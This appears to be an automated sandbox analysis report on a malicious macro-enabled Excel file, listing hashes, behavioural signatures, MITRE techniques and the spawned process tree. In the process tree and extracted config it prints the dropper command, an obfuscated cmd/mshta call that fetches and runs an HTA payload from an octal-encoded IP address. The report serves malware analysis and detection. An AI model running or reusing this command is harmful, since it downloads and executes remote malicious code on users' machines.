b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83

Analysis

max time kernel
4265059s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
17-01-2022 23:18

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General

Target

D73.xlsm
Size

110KB
MD5

88ba108c5c564f6dab3e1c4031a9a7e9
SHA1

fbffd091afdae3d1e40a17e4f1c73174afc6234e
SHA256

b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83
SHA512

82fec2d0679d56c1911d606463a5f5894c5de0ded95a11315f38fea796298884b24a37b10f9c5d1df3fdfc044b06c71f75e74d7b53fab57c133798a0124736ff

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2100	1396	cmd.exe	52

Blocklisted process makes network request 1 IoCs

flow	pid	Process
35	4068	mshta.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotification.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotification.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1396	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4012	MusNotification.exe
Token: SeCreatePagefilePrivilege	4012	MusNotification.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 2100	1396	EXCEL.EXE	54
PID 1396 wrote to memory of 2100	1396	EXCEL.EXE	54
PID 2100 wrote to memory of 4068	2100	cmd.exe	56
PID 2100 wrote to memory of 4068	2100	cmd.exe	56

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\D73.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\mshta.exe
    mshta http://0056.0151.0121.0114/c.html
    3⤵
    - Blocklisted process makes network request
    PID:4068

C:\Windows\system32\MusNotification.exe
C:\Windows\system32\MusNotification.exe
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1396-159-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-183-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-133-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-134-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-135-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-137-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-136-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-138-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-139-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-140-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-141-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-142-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-143-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-144-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-145-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-146-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-147-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-149-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-150-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-185-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-184-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-152-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-131-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-155-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-153-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-156-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-154-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-132-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/1396-169-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-160-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-161-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-162-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-163-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-164-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-165-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-166-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-167-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-158-0x00000244184A0000-0x00000244184A2000-memory.dmp

Filesize
8KB

Download
memory/1396-168-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-170-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-171-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-172-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-173-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-174-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-175-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-176-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-177-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-178-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-179-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-180-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-181-0x00000244184A0000-0x00000244184A4000-memory.dmp

Filesize
16KB

Download
memory/1396-182-0x00007FFF62850000-0x00007FFF62860000-memory.dmp

Filesize
64KB

Download
memory/4068-157-0x000002ACD4A68000-0x000002ACD4A70000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads